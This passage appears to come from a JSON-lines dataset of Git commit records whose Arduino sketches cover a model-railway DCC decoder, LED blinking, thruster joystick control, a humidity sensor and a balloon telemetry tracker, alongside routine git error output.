DEBUG_SPEED\n Serial.print(\"notifyDccSpeed: Addr: \");\n Serial.print(Addr,DEC);\n Serial.print( (AddrType == DCC_ADDR_SHORT) ? \"-S\" : \"-L\" );\n Serial.print(\" Speed: \");\n Serial.print(Speed,DEC);\n Serial.print(\" Steps: \");\n Serial.print(SpeedSteps,DEC);\n Serial.print(\" Dir: \");\n Serial.println( (Dir == DCC_DIR_FWD) ? \"Forward\" : \"Reverse\" );\n #endif\n\n newDirection = Dir;\n newSpeed = Speed;\n numSpeedSteps = SpeedSteps;\n};\n\n\/\/ This call-back function is called whenever we receive a DCC Function packet for our address \nvoid notifyDccFunc(uint16_t Addr, DCC_ADDR_TYPE AddrType, FN_GROUP FuncGrp, uint8_t FuncState)\n{\n #ifdef DEBUG_FUNCTIONS\n Serial.print(\"notifyDccFunc: Addr: \");\n Serial.print(Addr,DEC);\n Serial.print( (AddrType == DCC_ADDR_SHORT) ? 'S' : 'L' );\n Serial.print(\" Function Group: \");\n Serial.print(FuncGrp,DEC);\n #endif\n\n if(FuncGrp == FN_0_4)\n {\n newLedState = (FuncState & FN_BIT_00) ? 1 : 0;\n #ifdef DEBUG_FUNCTIONS\n Serial.print(\" FN 0: \");\n Serial.print(newLedState);\n #endif\n }\n #ifdef DEBUG_FUNCTIONS\n Serial.println();\n #endif\n}\n\n\/\/ This call-back function is called whenever we receive a DCC Packet\n#ifdef DEBUG_DCC_MSG\nvoid notifyDccMsg( DCC_MSG * Msg)\n{\n Serial.print(\"notifyDccMsg: \") ;\n for(uint8_t i = 0; i < Msg->Size; i++)\n {\n Serial.print(Msg->Data[i], HEX);\n Serial.write(' ');\n }\n Serial.println();\n}\n#endif\n\n\/\/ This call-back function is called by the NmraDcc library when a DCC ACK needs to be sent\n\/\/ Calling this function should cause an increased 60ma current drain on the power supply for 6ms to ACK a CV Read\n\/\/ So we will just turn the motor on for 8ms and then turn it off again.\n\nvoid notifyCVAck(void)\n{\n #ifdef DEBUG_DCC_ACK\n Serial.println(\"notifyCVAck\") ;\n #endif\n\n digitalWrite(MOTOR_DIR_PIN, HIGH);\n digitalWrite(MOTOR_PWM_PIN, HIGH);\n\n delay( 8 ); \n\n digitalWrite(MOTOR_DIR_PIN, LOW);\n digitalWrite(MOTOR_PWM_PIN, LOW);\n}\n\nvoid setup()\n{\n #ifdef DEBUG_PRINT\n Serial.begin(115200);\n Serial.println(\"NMRA Dcc Multifunction Motor Decoder Demo\");\n #endif\n\n \/\/ Setup the Pins for the Fwd\/Rev LED for Function 0 Headlight\n pinMode(LED_PIN_FWD, OUTPUT);\n pinMode(LED_PIN_REV, OUTPUT);\n\n \/\/ Setup the Pins for the Motor H-Bridge Driver\n pinMode(MOTOR_DIR_PIN, OUTPUT);\n pinMode(MOTOR_PWM_PIN, OUTPUT);\n\n \n \/\/ Setup which External Interrupt, the Pin it's associated with that we're using and enable the Pull-Up \n Dcc.pin(DCC_PIN, 0);\n \n Dcc.init( MAN_ID_DIY, 10, FLAGS_MY_ADDRESS_ONLY | FLAGS_AUTO_FACTORY_DEFAULT, 0 );\n\n \/\/ Uncomment to force CV Reset to Factory Defaults\n\/\/ notifyCVResetFactoryDefault();\n\n \/\/ Read the current CV values for vStart and vHigh\n vStart = Dcc.getCV(CV_VSTART);\n vHigh = Dcc.getCV(CV_VHIGH);\n}\n\nvoid loop()\n{\n \/\/ You MUST call the NmraDcc.process() method frequently from the Arduino loop() function for correct library operation\n Dcc.process();\n\n \/\/ Handle Speed changes\n if(lastSpeed != newSpeed)\n {\n lastSpeed = newSpeed;\n\n \/\/ Stop if speed = 0 or 1\n \n if(newSpeed <= 1)\n digitalWrite(MOTOR_PWM_PIN, LOW);\n\n \/\/ Calculate PWM value in the range 1..255 \n else\n {\n uint8_t vScaleFactor;\n \n if((vHigh > 1) && (vHigh > vStart))\n vScaleFactor = vHigh - vStart;\n else\n vScaleFactor = 255 - vStart;\n\n uint8_t modSpeed = newSpeed - 1;\n uint8_t modSteps = numSpeedSteps - 1;\n \n uint8_t newPwm = (uint8_t) vStart + modSpeed * vScaleFactor \/ modSteps;\n\n #ifdef DEBUG_PWM\n Serial.print(\"New Speed: vStart: \");\n Serial.print(vStart);\n Serial.print(\" vHigh: \");\n Serial.print(vHigh);\n Serial.print(\" modSpeed: \");\n Serial.print(modSpeed);\n Serial.print(\" vScaleFactor: \");\n Serial.print(vScaleFactor);\n Serial.print(\" modSteps: \");\n Serial.print(modSteps);\n Serial.print(\" newPwm: \");\n Serial.println(newPwm);\n #endif\n \n analogWrite(MOTOR_PWM_PIN, newPwm);\n }\n }\n \n \/\/ Handle Direction and Headlight changes\n if((lastDirection != newDirection) || (lastLedState != newLedState))\n {\n lastDirection = newDirection;\n lastLedState = newLedState;\n\n digitalWrite(MOTOR_DIR_PIN, newDirection);\n\n if(newLedState)\n {\n #ifdef DEBUG_FUNCTIONS\n Serial.println(\"LED On\");\n #endif\n digitalWrite(LED_PIN_FWD, newDirection ? LOW : HIGH);\n digitalWrite(LED_PIN_REV, newDirection ? HIGH : LOW);\n }\n else\n {\n #ifdef DEBUG_FUNCTIONS\n Serial.println(\"LED Off\");\n #endif\n digitalWrite(LED_PIN_FWD, LOW);\n digitalWrite(LED_PIN_REV, LOW);\n }\n }\n\n \/\/ Handle resetting CVs back to Factory Defaults\n if( FactoryDefaultCVIndex && Dcc.isSetCVReady())\n {\n FactoryDefaultCVIndex--; \/\/ Decrement first as initially it is the size of the array \n Dcc.setCV( FactoryDefaultCVs[FactoryDefaultCVIndex].CV, FactoryDefaultCVs[FactoryDefaultCVIndex].Value);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/NmraDccMultiFunctionMotorDecoder\/NmraDccMultiFunctionMotorDecoder.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"a8b8efc66c4c9e9ed8d801f56d6db2d785fb3ae4","subject":"we should return in case of errors","message":"we should return in case of errors\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Commands.ino","new_file":"ArduinoClient\/Commands.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"02b5f19ab42d037b1656cd62d6d27bb130dd096a","subject":"initial commit","message":"initial commit\n","repos":"SoftWebProduction\/TaskScheduler","old_file":"examples\/DualBlink\/DualBlink.ino","new_file":"examples\/DualBlink\/DualBlink.ino","new_contents":"#include \"TaskScheduler.h\"\n\nint led1 = 12;\nint led2 = 13;\n\nvoid setup() {\n pinMode(led1, OUTPUT);\n pinMode(led2, OUTPUT);\n \n scheduler.Begin(blink1, blink2);\n scheduler.SetTimers(250, 500);\n\n}\n\nvoid loop() {\n scheduler.Run();\n}\n\nvoid blink1() {\n digitalWrite(led1, !digitalRead(led1));\n}\n\nvoid blink2() {\n digitalWrite(led2, !digitalRead(led2));\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/DualBlink\/DualBlink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"328554e852ab8e3c2952f5588355394f78fd09a9","subject":"Adding initial commit for the AnalogJoystickControl example. Untested but should work well.","message":"Adding initial commit for the AnalogJoystickControl example. Untested but should work well.\n","repos":"bluerobotics\/br-esc-examples","old_file":"arduino\/AnalogJoystickControl\/AnalogJoystickControl.ino","new_file":"arduino\/AnalogJoystickControl\/AnalogJoystickControl.ino","new_contents":"\/* Blue Robotics Example Code\n-------------------------------\n \nTitle: Analog Joystick Control Example (Arduino)\n\nDescription: This code is an example of how to use the Blue Robotics thrusters \nand ESCs to control a simple underwater vehicle. The code is designed to use \nanalog joysticks (http:\/\/www.parallax.com\/product\/27808) and three thrusters. \nThe thrusters are oriented with two pointing forward, one on the left and one \non the right side of the vehicle, as well as a vertical thruster. \n\nThe code is designed for the Arduino Uno board and can be compiled and \nuploaded via the Arduino 1.0+ software.\n\n-------------------------------\nThe MIT License (MIT)\n\nCopyright (c) 2014 Blue Robotics Inc.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n-------------------------------*\/\n\n#include <Servo.h>\n\n\/\/ Joystick Settings\nstatic const int JS_CENTER_0 = 511; \/\/ Analog reading at center, 0-1023\nstatic const int JS_CENTER_1 = 511;\nstatic const int JS_CENTER_2 = 511;\nstatic const int JS_RANGE_0 = 300; \/\/ Analog range, 0-1023\nstatic const int JS_RANGE_1 = 300;\nstatic const int JS_RANGE_2 = 300;\nstatic const int JS_DIR_0 = 1; \/\/ +1 or -1\nstatic const int JS_DIR_1 = 1;\nstatic const int JS_DIR_2 = 1;\n\n\/\/ ESC\/Thruster Settings\nstatic const int MAX_FWD_REV_THROTTLE = 400; \/\/ Value between 0-400\nstatic const int MAX_TURN_THROTTLE = 400; \/\/ Value between 0-400\nstatic const int MAX_VERTICAL_THROTTLE = 400; \/\/ Value between 0-400\nstatic const int CENTER_THROTTLE = 1500;\n\n\/\/ Arduino Pins\nstatic const byte JS_ADC_0 = A0;\nstatic const byte JS_ADC_1 = A1;\nstatic const byte JS_ADC_2 = A2;\nstatic const byte THRUSTER_LEFT = 9;\nstatic const byte THRUSTER_RIGHT = 10;\nstatic const byte THRUSTER_VERTICAL = 11;\n\n\/\/ Servos\nServo thrusterLeft;\nServo thrusterRight;\nServo thrusterVertical;\n\nvoid setup() {\n\t\/\/ Set up Arduino pins to send servo signals to ESCs\n\tthrusterLeft.attach(THRUSTER_LEFT);\n\tthrusterRight.attach(THRUSTER_RIGHT);\n\tthrusterVertical.attach(THRUSTER_VERTICAL);\n\n\t\/\/ Set output signal to 1500 microsecond pulse (stopped command)\n\tthrusterLeft.setMicroseconds(CENTER_THROTTLE);\n\tthrusterRight.setMicroseconds(CENTER_THROTTLE);\n\tthrusterVertical.setMicroseconds(CENTER_THROTTLE);\n\n\t\/\/ Delay to allow time for ESCs to initialize\n\tdelay(1000); \n}\n\nvoid loop() {\n\t\/\/ Read the joysticks and use the Arduino \"map\" function to map the raw values\n\t\/\/ to the desired output commands.\n\tint forwardCommand \t=\tmap(analogRead(JS_ADC_0), \/\/ Read raw joystick value\n\t\t \t\tJS_CENTER_0-JS_DIR_0*JS_RANGE_0, \/\/ Joystick low value\n\t\t \t\tJS_CENTER_0+JS_DIR_0*JS_RANGE_0, \/\/ Joystick high value\n\t\t \t\t -MAX_FWD_REV_THROTTLE, \/\/ Command low value\n\t\t \t\t MAX_FWD_REV_THROTTLE); \/\/ Command high value\n\tint turnCommand \t \t\t=\tmap(analogRead(JS_ADC_1), \/\/ Read raw joystick value\n\t\t \t\t\tJS_CENTER_1-JS_DIR_1*JS_RANGE_1, \/\/ Joystick low value\n\t\t \t\t\t JS_CENTER_1+JS_DIR_1*JS_RANGE_1, \/\/ Joystick high value\n\t\t \t\t\t -MAX_TURN_THROTTLE, \/\/ Command low value\n\t\t \t\t\t MAX_TURN_THROTTLE); \/\/ Command high value\n\tint verticalCommand =\tmap(analogRead(JS_ADC_2), \/\/ Read raw joystick value\n\t\t \t JS_CENTER_2-JS_DIR_2*JS_RANGE_2, \/\/ Joystick low value\n\t\t \t JS_CENTER_2+JS_DIR_2*JS_RANGE_2, \/\/ Joystick high value\n\t\t \t -MAX_VERTICAL_THROTTLE, \/\/ Command low value\n\t\t \t MAX_VERTICAL_THROTTLE); \/\/ Command high value\n\n\t\/\/ Combine the \"stopped\" command with forward, turn, and vertical and send \n\t\/\/ to the ESCs.\n\tthrusterLeft.setMicroseconds(CENTER_THROTTLE+forwardCommand+turnCommand);\n\tthrusterRight.setMicroseconds(CENTER_THROTTLE+forwardCommand-turnCommand);\n\tthrusterVertical.setMicroseconds(CENTER_THROTTLE+verticalCommand);\n\n\t\/\/ Delay 1\/20th of a second. No need to update at super fast rates.\n\tdelay(50);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/AnalogJoystickControl\/AnalogJoystickControl.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e246965540183c9cf288cc94bf6bf4ed6ae0a279","subject":"Create am2315test.ino","message":"Create am2315test.ino","repos":"pewenn\/Adafruit_AM2315","old_file":"firmware\/examples\/am2315test.ino","new_file":"firmware\/examples\/am2315test.ino","new_contents":"#include <Wire.h>\n#include <Adafruit_AM2315.h>\n\n\/*************************************************** \n This is an example for the AM2315 Humidity + Temp sensor\n\n Designed specifically to work with the Adafruit BMP085 Breakout \n ----> https:\/\/www.adafruit.com\/products\/1293\n\n These displays use I2C to communicate, 2 pins are required to \n interface\n Adafruit invests time and resources providing this open source code, \n please support Adafruit and open-source hardware by purchasing \n products from Adafruit!\n\n Written by Limor Fried\/Ladyada for Adafruit Industries. \n BSD license, all text above must be included in any redistribution\n ****************************************************\/\n\n\/\/ Connect RED of the AM2315 sensor to 5.0V\n\/\/ Connect BLACK to Ground\n\/\/ Connect WHITE to i2c clock - on '168\/'328 Arduino Uno\/Duemilanove\/etc thats Analog 5\n\/\/ Connect YELLOW to i2c data - on '168\/'328 Arduino Uno\/Duemilanove\/etc thats Analog 4\n\nAdafruit_AM2315 am2315;\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"AM2315 Test!\");\n\n if (! am2315.begin()) {\n Serial.println(\"Sensor not found, check wiring & pullups!\");\n while (1);\n }\n}\n\nvoid loop() {\n Serial.print(\"Hum: \"); Serial.println(am2315.readHumidity());\n Serial.print(\"Temp: \"); Serial.println(am2315.readTemperature());\n\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/am2315test.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"c3745d8fd89378ee0cb5fd76d7492423860c1586","subject":"add \"assm1.ino\"","message":"add \"assm1.ino\"\n","repos":"anerdev\/assm1,anerdev\/assm1","old_file":"assm1\/assm1.ino","new_file":"assm1\/assm1.ino","new_contents":"\/* \nArduino Sky Safari Mission #1\n\nSoftware sketch version 1.0\nSoftware information: https:\/\/github.com\/anerdev\/assm1\/wiki\/Software\n\nmade by: anerdev\nhttps:\/\/github.com\/anerdev\/assm1\nhttp:\/\/www.anerdev.net\/assm1\n\nLICENSE\n- The \"assm1.ino\" is under \"The MIT License (MIT)\";\n- The libraries are under the proprietary license.\n\n*\/\n\n\/\/General declaration\n#include \"Wire.h\"\n#include \"OneWire.h\"\n#include \"SoftwareSerial.h\"\nint counter; \n\n\/\/Declaration NTX2\n#include \"string.h\"\n#include \"util\/crc16.h\"\n#define ntx2 2\nchar rtty[100];\n\n\/\/Declaration DS18B20\n#include \"DallasTemperature.h\"\n#define ONE_WIRE_BUS 3\nOneWire oneWire(ONE_WIRE_BUS);\nDallasTemperature DS18B20(&oneWire);\nfloat temperature;\nint temperatureint;\n\n\/\/Declaration DHT22\n#include \"DHT22.h\"\n#define DHT22_PIN 4\nDHT22 sensoreDHT22(DHT22_PIN);\nfloat humidity;\nint humidityint;\n\n\/\/Declaration Led\n#define led 5\n\n\/\/Declaration Siren\n#define siren 6\n\n\/\/Declaration SD\n#include \"SD.h\"\n#define sdpin 9\nFile sdfile;\n\n\/\/Declaration MPL115A2\n#include \"MPL115A2.h\"\nfloat pressure;\nint pressureint;\n\n\/\/Declaration GSM\/GPS\n#include \"SIM900.h\"\n#include \"inetGSM.h\"\n#include \"sms.h\"\n#include \"gps.h\"\nInetGSM inet;\nSMSGSM sms;\nGPSGSM gps;\nint altint;\nchar sendsms[50];\nchar lon[15];\nchar lat[15];\nchar alt[15];\nchar time[20];\nchar vel[15];\nchar stat;\nboolean started=false;\nchar YY[5]; \/\/ Year\nchar MM[3]; \/\/ Month\nchar DD[3]; \/\/ Day\nchar hh[3]; \/\/ Hour\nchar mm[3]; \/\/ Minute\nchar ss[3]; \/\/ Second\n\nvoid setup() {\n\n \/\/Setting PIN\n pinMode(ntx2, OUTPUT); \/\/NTX2\n pinMode(sdpin, OUTPUT); \/\/SD Shield\n pinMode(led, OUTPUT); \/\/Led \n digitalWrite(led, LOW);\n pinMode(siren, OUTPUT); \/\/siren\n digitalWrite(siren, HIGH); \/\/ When is HIGH the piezo acoustic siren is poweroff, when is LOW the piezo acoustic siren is poweron\n\n \/\/Start NTX2\n timeloop(30,1);\n\n \/\/Test of NTX2 Transmission\n rtty_txstring(\"ASSM1 HW CHECK\\n\");\n\n \/\/Led\n digitalWrite(led, HIGH);\n rtty_txstring(\"LED: ON (watch) \");\n digitalWrite(led, LOW);\n timeloop(3,0);\n\n \/\/Siren\n digitalWrite(siren, LOW);\n rtty_txstring(\"SIREN: ON (listen) \");\n digitalWrite(siren, HIGH);\n timeloop(3,0);\n\n \/\/MPL115A2\n MPL115A2.begin(); \/\/ Poweron MPL115A2\n MPL115A2.ReadSensor(); \/\/ Request the data\n MPL115A2.shutdown(); \/\/ Poweoff MPL115A2\n pressure = MPL115A2.GetPressure(); \/\/ Save the value of the pressure in the float \"pressure\"\n pressureint = MPL115A2.GetPressure(); \/\/ Save the value of the pressure in the integer \"pressureint\"\n if (pressureint == 69) { \/\/ If the value is \"69\" the MPL115A2 is disconnect or doesn't work\n rtty_txstring(\"MPL115A2: ERROR\\n\");\n }\n else {\n rtty_txstring(\"MPL115A2: OK\\n\");\n };\n\n \/\/DS18B20\n DS18B20.begin(); \/\/ Poweron DS18B20\n DS18B20.requestTemperatures(); \/\/ Request the data\n temperature = DS18B20.getTempCByIndex(0); \/\/ Save the value of the temperature in the float \"temperature\"\n temperatureint = DS18B20.getTempCByIndex(0); \/\/ Save the value of the temperature in the integer \"temperatureint\"\n if (temperatureint == -127) { \/\/ If the value is \"-127\" the MPL115A2 is disconnect or doesn't work\n rtty_txstring(\"DS18B20: ERROR\\n\");\n }\n else {\n rtty_txstring(\"DS18B20: OK\\n\");\n };\n\n \/\/DHT22\n DHT22_ERROR_t DHT22errorCode; \/\/ Initialize the control variable\n delay(2000);\n DHT22errorCode = sensoreDHT22.readData(); \/\/ Save the errorCode variable\n switch(DHT22errorCode) { \n case DHT_ERROR_NONE: \/\/ Is all ok\n rtty_txstring(\"DHT22: OK\\n\");\n break;\n case DHT_ERROR_NOT_PRESENT: \/\/ Sensor disconnected\n rtty_txstring(\"DHT22: ERROR\\n\");\n break;\n };\n \n \/\/SD Shield\n if (!SD.begin(4)) { \/\/ Initialize the SD communication\n rtty_txstring(\"SD: ERROR\\n\");\n }\n else {\n rtty_txstring(\"SD: OK\\n\");\n };\n \n \/\/ GSM\/GPS Shield\n \n \/\/ GSM Module\n rtty_txstring(\"GSM (wait): \");\n if (gsm.begin(2400)) { \/\/ Initialize the Seral1 communication\n gsm.forceON(); \/\/ Force poweron the GSM module\n started=true;\n rtty_txstring(\"OK\\n\");\n sms.SendSMS(\"33333333\", \"GSM: OK\\n\"); \/\/ Send sms for test - Put you mobile number without the international prefix\n }\n else {\n rtty_txstring(\"ERROR\\n\");\n };\n\n \/\/ GPS Module \n rtty_txstring(\"GPS: \");\n if(started) {\n if(gps.attachGPS()) { \/\/ Initialize the GPS communication\n rtty_txstring(\"OK \"); \n }\n else {\n rtty_txstring(\"ERROR\");\n };\n\n timeloop(20,2);\n\n stat=gps.getStat();\n if(stat==1) {\n rtty_txstring(\"NOT FIXED\\n\"); \/\/ GPS doesn't work\n }\n else if(stat==0) {\n rtty_txstring(\"OFF\\n\"); \/\/ GPS have low power source\n }\n else if(stat==2) {\n rtty_txstring(\"2D\\n\"); \/\/ GPS receive only lat and lon\n }\n else if(stat==3) {\n rtty_txstring(\"3D\\n\"); \/\/ GPS receuve lat, lon and alt\n };\n\n timeloop(5,0);\n\n gps.getPar(lon,lat,alt,time,vel); \/\/ Get values from GPS\n \n sscanf(time,\"%04s%02s%02s%02s%02s%02s\",&YY,&MM,&DD,&hh,&mm,&ss); \/\/ Split the time char and save the data in the char variables - more info: https:\/\/gist.github.com\/anerdev\/b5bf703143ea1d0342e7\n \n \/\/ Open the data.csv file\n sdfile = SD.open(\"data.csv\", FILE_WRITE); \/\/ Open the data.csv file\n \n if (sdfile) {\n \n sdfile.println();\n \n \/\/ Write the time and date of record\n sdfile.print(\"Start;\");\n sdfile.print(hh);\n sdfile.print(\":\");\n sdfile.print(mm);\n sdfile.print(\":\");\n sdfile.print(ss);\n sdfile.print(\";\");\n sdfile.print(DD);\n sdfile.print(\"\/\");\n sdfile.print(MM);\n sdfile.print(\"\/\");\n sdfile.print(YY);\n sdfile.print(\";\");\n \n \/\/ Write the location of the record\n sdfile.print(\"From;\");\n sdfile.print(lat);\n sdfile.print(\";\");\n sdfile.print(lon);\n sdfile.print(\";\");\n sdfile.print(alt);\n sdfile.print(\";\");\n\n sdfile.println();\n \n \/\/ Write the title of the columns\n sdfile.print(\"Counter;\");\n sdfile.print(\"Time;\");\n sdfile.print(\"Latitude;\");\n sdfile.print(\"Longitude;\");\n sdfile.print(\"Temperature;\");\n sdfile.print(\"Humidity;\");\n sdfile.print(\"Pressure;\");\n \n sdfile.println();\n \n sdfile.close();\n \n snprintf(rtty, 100, \"Start: %s:%s:%s - %s\/%s\/%s\\n\", hh, mm, ss, DD, MM, YY); rtty_txstring (rtty);\n snprintf(rtty, 100, \"From: %s - %s - %s\\n\\n\", lat, lon, alt); rtty_txstring (rtty); \n }\n else { \/\/if SD failed open\n rtty_txstring(\"SD file: ERROR\\n\\n\");\n };\n\n }; \/\/ End if(sterted)\n\n}; \/\/ END Setup\n\nvoid loop() {\n\n DS18B20.requestTemperatures(); \/\/ Read temperature from DS18B20\n temperature = DS18B20.getTempCByIndex(0); \/\/ Save the temperature value into \"temperature\" float variable\n temperatureint = DS18B20.getTempCByIndex(0); \/\/ Save the temperature value into \"temperatureint\" integer variable\n\n DHT22_ERROR_t DHT22errorCode; \/\/ Read humidity from DHT22\n DHT22errorCode = sensoreDHT22.readData(); \/\/ Read the error code of the humidity sensor from DHT22\n switch(DHT22errorCode)\n {\n case DHT_ERROR_NONE: \n humidity = sensoreDHT22.getHumidity(); \/\/ Save the humidity value into \"humidity\" float variable\n humidityint = sensoreDHT22.getHumidity(); \/\/ Save the humidity value into \"humidityint\" integer variable\n break;\n }\n\n MPL115A2.ReadSensor(); \/\/ Read pressure from MPL115A2\n MPL115A2.shutdown(); \/\/ Poweroff the sensor\n pressure = MPL115A2.GetPressure(); \/\/ Save the pressure value into \"pressure\" float variable\n pressureint = MPL115A2.GetPressure(); \/\/ Save the pressure value into \"pressure\" integer variable\n\n if(started) {\n if(gps.attachGPS()) { \/\/ Start GPS Module\n\n timeloop(15,1);\n stat=gps.getStat();\n gps.getPar(lon,lat,alt,time,vel);\n sscanf(time,\"%04s%02s%02s%02s%02s%02s\",&YY,&MM,&DD,&hh,&mm,&ss); \/\/ Split char \"time\" to hourse (hh), minute (mm), seconds (ss)\n\n altint = atoi(alt); \/\/ Convert char \"alt\" to int \"altint\"\n \n if (altint < 5000) { \/\/ If the altitude is < of 5000 meters, send sms\n snprintf(sendsms, 50, \"%s - %s - %d\", lat, lon, altint);\n sms.SendSMS(\"3339921212\", sendsms);\n digitalWrite(siren, LOW); \/\/ Activate the siren allarm\n }\n else {\n digitalWrite(siren, HIGH); \/\/ If the altitude is > of 5000 meters, deactivae the siren allarm\n };\n\n sdfile = SD.open(\"data.csv\", FILE_WRITE); \/\/ Save the variable on data.csv into the SD card\n\n if (sdfile) {\n\n sdfile.print(counter); sdfile.print(\";\");\n sdfile.print(hh); sdfile.print(\":\");\n sdfile.print(mm); sdfile.print(\":\");\n sdfile.print(ss); sdfile.print(\";\");\n sdfile.print(lat); sdfile.print(\";\");\n sdfile.print(lon); sdfile.print(\";\");\n sdfile.print(alt); sdfile.print(\";\");\n sdfile.print(temperature); sdfile.print(\";\");\n sdfile.print(humidity); sdfile.print(\";\");\n sdfile.print(pressure); sdfile.println(\";\");\n\n sdfile.close();\n \n \/\/ Send the radio string, like this: $$ASSM1,1,15:14:46,4444.444444,1111.111111,88,21,30,1000\n snprintf(rtty, 100, \"$$ASSM1,%d,%s:%s:%s,%s,%s,%d,%s,%d,%d,%d\", counter, hh, mm, ss, lat, lon, altint, vel, temperatureint, humidityint, pressureint);\n unsigned int CHECKSUM = gps_CRC16_checksum(rtty);\n char checksum_str[7];\n sprintf(checksum_str, \"*%04X\\n\", CHECKSUM);\n strcat(rtty,checksum_str);\n rtty_txstring (rtty);\n\n } \n else { \/\/if SD failed open\n \/\/ Send the radio string, like this: $$ASSM1,1,15:14:46,4444.444444,1111.111111,88,21,30,1000,ERROR\n snprintf(rtty, 100, \"$$ASSM1,%d,%s:%s:%s,%s,%s,%d,%d,%d,%d,SD:ERROR\", counter, hh, mm, ss, lat, lon, altint, temperatureint, humidityint, pressureint);\n unsigned int CHECKSUM = gps_CRC16_checksum(rtty);\n char checksum_str[7];\n sprintf(checksum_str, \"*%04X\\n\", CHECKSUM);\n strcat(rtty,checksum_str);\n rtty_txstring (rtty);\n }; \/\/ END Save the variable on data.csv into the SD card\n\n }; \/\/ END if(gps.attachGPS())\n }; \/\/ END if(started)\n\n counter++; \/\/ Increase of 1 the counter value\n\n}; \/\/ END void loop()\n\n\/\/ Start GPS\nvoid serialswread() {\n gsm.SimpleRead();\n}\n\/\/ END GPS\n\n\/\/ Start Time loop\n\/*\ntimeloop(x,y);\nx = time in second;\ny = 0 for \"new line\", 1 for \"tab\", 2 for space.\n*\/\nvoid timeloop(int timeloopvalue, int timeloopcr) {\n int timeloopcount;\n \n for (timeloopcount = 0; timeloopcount < timeloopvalue; timeloopcount++) {\n rtty_txstring(\"|\");\n digitalWrite(led, HIGH);\n delay(500);\n digitalWrite(led, LOW);\n delay(500);\n };\n \n switch (timeloopcr) {\n case 0:\n rtty_txstring(\"\\n\");\n break;\n case 1:\n rtty_txstring(\"\\t\");\n break;\n case 2:\n rtty_txstring(\" \");\n break;\n };\n};\n\/\/ END Time loop\n\n\/\/NTX2 Instruction set\n\/\/ 50 baud, 7 bits ASCII 2 stop bits.\nvoid rtty_txstring (char * string) {\n char c;\n c = *string++;\n \n while ( c != '\\0') {\n rtty_txbyte (c);\n c = *string++;\n };\n};\n\nvoid rtty_txbyte (char c) { \n int i;\n rtty_txbit (0);\n\n for (i=0;i<7;i++) {\n if (c & 1) rtty_txbit(1);\n else rtty_txbit(0);\n c = c >> 1;\n };\n \n rtty_txbit (1);\n rtty_txbit (1);\n};\n\nvoid rtty_txbit (int bit) {\n if (bit) {\n digitalWrite(ntx2, HIGH);\n }\n else {\n digitalWrite(ntx2, LOW);\n };\n \n delayMicroseconds(10000);\n delayMicroseconds(10150);\n \n}\n\nuint16_t gps_CRC16_checksum (char *string) {\n size_t i;\n uint16_t crc;\n uint8_t c;\n \n crc = 0xFFFF;\n \n for (i = 2; i < strlen(string); i++) {\n c = string[i];\n crc = _crc_xmodem_update (crc, c);\n };\n \n return crc;\n}\n\/\/END NTX2 Instruction set\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'assm1\/assm1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b38bcaf5128fef7b8fd68d04399ab2ac25821470","subject":"Use office IPs","message":"Use office IPs","repos":"lgramatikov\/celeste","old_file":"WarningBulb.ino","new_file":"WarningBulb.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lgramatikov\/celeste.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"b12dd6e750ad503e3755f70e30637fb33f4c4376","subject":"exemplo com PWM","message":"exemplo com PWM\n","repos":"garoa\/dojo-shield","old_file":"arduino\/Pulsar.ino","new_file":"arduino\/Pulsar.ino","new_contents":"const int STEPS = 60;\nconst int POT_SCALE = 20;\nconst int LED = 11; \nconst int POT = A0;\n\nint step = 0;\n\nvoid setup() {\n pinMode(LED, OUTPUT);\n}\n\nvoid loop() {\n step++;\n step %= STEPS;\n float angle = 2 * PI * step \/ STEPS; \n analogWrite(LED, int(sin(angle)*127 + 127));\n delay(analogRead(POT)\/POT_SCALE;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/Pulsar.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"14937aa24bf0bcec136d9515a85e91b1a8acb0f7","subject":"step direction on both motors 